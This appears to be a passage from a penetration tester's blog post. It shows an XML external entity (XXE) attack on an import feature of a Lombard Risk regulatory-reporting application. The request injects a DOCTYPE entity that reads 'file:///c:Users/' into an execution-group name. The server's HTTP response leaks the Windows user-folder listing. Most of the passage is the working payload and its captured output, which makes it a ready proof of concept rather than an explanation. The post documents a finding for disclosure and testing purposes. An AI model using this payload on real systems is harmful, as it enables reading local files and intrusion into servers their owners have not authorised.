<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:Users/" >]>
<ExecutionGroupDto xmlns="http://www.lombardrisk.com/ocelot/executionGroup">
    <configPrefix>MAS</configPrefix>
    <item>
        <name>Computeeeee &xxe; &amp; Retrieve R610</name>
        <description>Compute &amp; Retrieve R610</description>
        <content>{"configPrefix":"MAS","name":"Compute \u0026 Retrieve R610","description":"Compute \u0026 Retrieve R610","abortOnFailure":true,"batchRunJobs":[{"configPrefix":"MAS","name":"LOADDATA","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":0},{"configPrefix":"MAS","name":"INTERFACE","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":1},{"configPrefix":"MAS","name":"MAS610PREPRO","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":2},{"configPrefix":"MAS","name":"MAS610B12","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":3},{"configPrefix":"MAS","name":"MAS610B3","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":5},{"configPrefix":"MAS","name":"MAS610C1","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":7},{"configPrefix":"MAS","name":"MAS610D1","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":9},{"configPrefix":"MAS","name":"MAS610D2","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":11},{"configPrefix":"MAS","name":"MAS610D3","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":13},{"configPrefix":"MAS","name":"MAS610D4","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":15},{"configPrefix":"MAS","name":"MAS610D5","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":17},{"configPrefix":"MAS","name":"MAS610E1","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":19},{"configPrefix":"MAS","name":"MAS610E2","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":21},{"configPrefix":"MAS","name":"MAS610E3","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":23},{"configPrefix":"MAS","name":"MAS610F","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":25},{"configPrefix":"MAS","name":"MAS610G","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":27},{"configPrefix":"MAS","name":"MAS610H","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":29},{"configPrefix":"MAS","name":"MAS610I","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":31},{"configPrefix":"MAS","name":"MAS610J","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":33},{"configPrefix":"MAS","name":"MAS610K","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":35},{"configPrefix":"MAS","name":"MAS610L","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":37},{"configPrefix":"MAS","name":"MAS610M","abortOnFailure":false,"translateBeforeCompute":false,"executeOrder":39}],"computeJobs":[{"configPrefix":"MAS","formName":"MAS610_B1_B2","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":4},{"configPrefix":"MAS","formName":"MAS610_B3","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":6},{"configPrefix":"MAS","formName":"MAS610_C1","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":8},{"configPrefix":"MAS","formName":"MAS610_D1","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":10},{"configPrefix":"MAS","formName":"MAS610_D2","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":12},{"configPrefix":"MAS","formName":"MAS610_D3","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":14},{"configPrefix":"MAS","formName":"MAS610_D4","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":16},{"configPrefix":"MAS","formName":"MAS610_D5","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":18},{"configPrefix":"MAS","formName":"MAS610_E1","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":20},{"configPrefix":"MAS","formName":"MAS610_E2","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":22},{"configPrefix":"MAS","formName":"MAS610_E3","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":24},{"configPrefix":"MAS","formName":"MAS610_F","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":26},{"configPrefix":"MAS","formName":"MAS610_G","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":28},{"configPrefix":"MAS","formName":"MAS610_H","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":30},{"configPrefix":"MAS","formName":"MAS610_I","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":32},{"configPrefix":"MAS","formName":"MAS610_J","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":34},{"configPrefix":"MAS","formName":"MAS610_K","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":36},{"configPrefix":"MAS","formName":"MAS610_L","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":38},{"configPrefix":"MAS","formName":"MAS610_M","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":40}]}</content>
    </item>
    <item>
        <name>Retrieve R610</name>
        <description>Retrieve R610 Reports</description>
        <content>{"configPrefix":"MAS","name":"Retrieve R610","description":"Retrieve R610 Reports","abortOnFailure":true,"batchRunJobs":[],"computeJobs":[{"formName":"MAS610_B1_B2","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":0},{"formName":"MAS610_B3","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":1},{"formName":"MAS610_C1","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":2},{"formName":"MAS610_D1","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":3},{"formName":"MAS610_D2","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":4},{"formName":"MAS610_D3","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":5},{"formName":"MAS610_D4","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":6},{"formName":"MAS610_D5","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":7},{"formName":"MAS610_E1","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":8},{"formName":"MAS610_E2","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":9},{"formName":"MAS610_E3","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":10},{"formName":"MAS610_F","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":11},{"formName":"MAS610_G","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":12},{"formName":"MAS610_H","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":13},{"formName":"MAS610_I","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":14},{"formName":"MAS610_J","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":15},{"formName":"MAS610_K","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":16},{"formName":"MAS610_L","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":17},{"formName":"MAS610_M","formVersion":1,"entityCode":"0001","translateBeforeCompute":false,"preserveAdjustment":false,"initToZero":true,"executeOrder":18}]}</content>
    </item>
</ExecutionGroupDto>
 
-----------------------------22114693211599442001093007703--


Response
HTTP/1.1 200 OK
Date: Mon, 21 Mar 2022 20:54:39 GMT
Content-Type: text/xml; charset=UTF-8
Connection: close
Expires: 0
CACHE-CONTROL: NO-CACHE
CACHE-CONTROL: no-cache, no-store, must-revalidate
CACHE-CONTROL: no-cache
X-XSS-Protection: 1; mode=block
PRAGMA: NO-CACHE
PRAGMA: no-cache
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
Content-Length: 9977
 
<?xml version='1.0' encoding='UTF-8'?>
<partial-response><changes><update id="importFileForm:messages"><![CDATA[<div id="importFileForm:messages" class="ui-messages ui-widget" aria-live="polite"></div>]]></update><update id="importFileForm:listuploadedFileName"><![CDATA[<span id="importFileForm:listuploadedFileName"></span>]]></update><update id="importFileForm:ImportInfoTable"><![CDATA[<div id="importFileForm:ImportInfoTable" class="ui-datatable ui-widget ui-datatable-scrollable borderless headerClass tableFixClass" style="width:800px;"><div class="ui-widget-header ui-datatable-scrollable-header"><div class="ui-datatable-scrollable-header-box"><table role="grid"><thead id="importFileForm:ImportInfoTable_head"><tr role="row"><th id="importFileForm:ImportInfoTable:j_idt348" class="ui-state-default ui-sortable-column" role="columnheader" aria-label="level" scope="col" style="width:5%"><span class="ui-column-title">level</span><span class="ui-sortable-column-icon ui-icon ui-icon-carat-2-n-s"></span><span class="ui-sortable-column-badge ui-helper-hidden"></span></th><th id="importFileForm:ImportInfoTable:j_idt350" class="ui-state-default ui-sortable-column" role="columnheader" aria-label="Type" scope="col" style="width:15%"><span class="ui-column-title">Type</span><span class="ui-sortable-column-icon ui-icon ui-icon-carat-2-n-s"></span><span class="ui-sortable-column-badge ui-helper-hidden"></span></th><th id="importFileForm:ImportInfoTable:j_idt352" class="ui-state-default ui-sortable-column" role="columnheader" aria-label="action" scope="col" style="width:5%"><span class="ui-column-title">action</span><span class="ui-sortable-column-icon ui-icon ui-icon-carat-2-n-s"></span><span class="ui-sortable-column-badge ui-helper-hidden"></span></th><th id="importFileForm:ImportInfoTable:j_idt354" class="ui-state-default ui-sortable-column" role="columnheader" aria-label="Content" scope="col" style="width:75%"><span class="ui-column-title">Content</span><span class="ui-sortable-column-icon ui-icon ui-icon-carat-2-n-s"></span><span class="ui-sortable-column-badge ui-helper-hidden"></span></th></tr></thead></table></div></div><div class="ui-datatable-scrollable-body" tabindex="-1"><table role="grid"><tbody id="importFileForm:ImportInfoTable_data" class="ui-datatable-data ui-widget-content"><tr data-ri="0" class="ui-widget-content ui-datatable-even evenoddRowClass" role="row"><td role="gridcell" class="">WARN</td><td role="gridcell" class="">Execution Group</td><td role="gridcell" class="">REMOVE</td><td role="gridcell" class="">Execution Group (Computeeeee &amp; Retrieve R610) not in source file</td></tr><tr data-ri="1" class="ui-widget-content ui-datatable-odd evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Group</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Group (Computeeeee .NET v4.5
.NET v4.5 Classic
All Users
Default
Default User
desktop.ini
Public

… some user folders are removed by tester …
 &amp; Retrieve R610)</td></tr><tr data-ri="2" class="ui-widget-content ui-datatable-even evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_B1_B2|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="3" class="ui-widget-content ui-datatable-odd evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_B3|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="4" class="ui-widget-content ui-datatable-even evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_C1|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="5" class="ui-widget-content ui-datatable-odd evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_D1|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="6" class="ui-widget-content ui-datatable-even evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_D2|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="7" class="ui-widget-content ui-datatable-odd evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_D3|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="8" class="ui-widget-content ui-datatable-even evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_D4|1, Translate: false,Preserve adjustment: false)</td></tr><tr data-ri="9" class="ui-widget-content ui-datatable-odd evenoddRowClass" role="row"><td role="gridcell" class="">INFO</td><td role="gridcell" class="">Execution Item</td><td role="gridcell" class="">ADD</td><td role="gridcell" class="">Add new Execution Item(Compute: MAS|0001|MAS610_D5|1, Translate: false,Preserve adjustment: false)</td></tr></tbody></table></div><div class="ui-widget-header ui-datatable-scrollable-footer"><div class="ui-datatable-scrollable-footer-box"><table role="grid"></table></div></div><div id="importFileForm:ImportInfoTable_paginator_bottom" class="ui-paginator ui-paginator-bottom ui-widget-header ui-corner-bottom" role="navigation" aria-label="Pagination"><a href="#" class="ui-paginator-first ui-state-default ui-corner-all ui-state-disabled" aria-label="First Page" tabindex="-1"><span class="ui-icon ui-icon-seek-first">F</span></a><a href="#" class="ui-paginator-prev ui-state-default ui-corner-all ui-state-disabled" aria-label="Previous Page" tabindex="-1"><span class="ui-icon ui-icon-seek-prev">P</span></a><span class="ui-paginator-pages"><a class="ui-paginator-page ui-state-default ui-state-active ui-corner-all" tabindex="0" href="#">1</a><a class="ui-paginator-page ui-state-default ui-corner-all" tabindex="0" href="#">2</a><a class="ui-paginator-page ui-state-default ui-corner-all" tabindex="0" href="#">3</a><a class="ui-paginator-page ui-state-default ui-corner-all" tabindex="0" href="#">4</a><a class="ui-paginator-page ui-state-default ui-corner-all" tabindex="0" href="#">5</a><a class="ui-paginator-page ui-state-default ui-corner-all" tabindex="0" href="#">6</a><a class="ui-paginator-page ui-state-default ui-corner-all" tabindex="0" href="#">7</a></span><a href="#" class="ui-paginator-next ui-state-default ui-corner-all" aria-label="Next Page" tabindex="0"><span class="ui-icon ui-icon-seek-next">N</span></a><a href="#" class="ui-paginator-last ui-state-default ui-corner-all" aria-label="Last Page" tabindex="0"><span class="ui-icon ui-icon-seek-end">E</span></a><label id="importFileForm:ImportInfoTable:j_id268_rppLabel" for="importFileForm:ImportInfoTable:j_id268" class="ui-paginator-rpp-label ui-helper-hidden">Rows Per Page</label><select id="importFileForm:ImportInfoTable:j_id268" name="importFileForm:ImportInfoTable_rppDD" aria-labelledby="importFileForm:ImportInfoTable:j_id268_rppLabel" class="ui-paginator-rpp-options ui-widget ui-state-default ui-corner-left" autocomplete="off"><option value="5">5</option><option value="10" selected="selected">10</option><option value="20">20</option></select></div><input type="hidden" id="importFileForm:ImportInfoTable_scrollState" name="importFileForm:ImportInfoTable_scrollState" autocomplete="off" value="0,0" /></div><script id="importFileForm:ImportInfoTable_s" type="text/javascript">PrimeFaces.cw("DataTable","ImportInfoTableVar",{id:"importFileForm:ImportInfoTable",paginator:{id:['importFileForm:ImportInfoTable_paginator_bottom'],rows:10,rowCount:64,page:0,currentPageTemplate:'({currentPage} of {totalPages})',pageLinks:20},scrollable:true,liveScroll:false,scrollStep:0,scrollLimit:64,liveScrollBuffer:0,virtualScroll:false,touchable:false,sorting:true,multiSort:true,sortMetaOrder:[''],groupColumnIndexes:[],disableContextMenuIfEmpty:false});</script>]]></update><update id="importFileForm:listimportBtn"><![CDATA[<button id="importFileForm:listimportBtn" name="importFileForm:listimportBtn" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only btn-blue-darken" onclick="PrimeFaces.ab({s:&quot;importFileForm:listimportBtn&quot;,f:&quot;importFileForm&quot;,u:&quot;growl importFileForm executionGroupsForm executionItemsForm&quot;,onco:function(xhr,status,args,data){importNewHandleComplete(xhr, status, args); ;}});return false;" style="margin-right:10px;" type="submit"><span class="ui-button-text ui-c">Import</span></button><script id="importFileForm:listimportBtn_s" type="text/javascript">PrimeFaces.cw("CommandButton","widget_importFileForm_listimportBtn",{id:"importFileForm:listimportBtn"});</script>]]></update><update id="j_id1:javax.faces.ViewState:0"><![CDATA[-1207254338988663714:6479361099775717792]]></update><update id="j_id1:javax.faces.ClientWindow:0"><![CDATA[-3091]]></update><eval><![CDATA[resetSessionTimer();]]></eval></changes></partial-response>
 
 




0 Comments

    Crashpark

    Penetration tester.

    Archives

    November 2024
    December 2023
    June 2022

    Categories

    All

    RSS Feed

Powered by Create your own unique website with customizable templates.
  • Home
  • Blog
  • Portfolio
  • Contact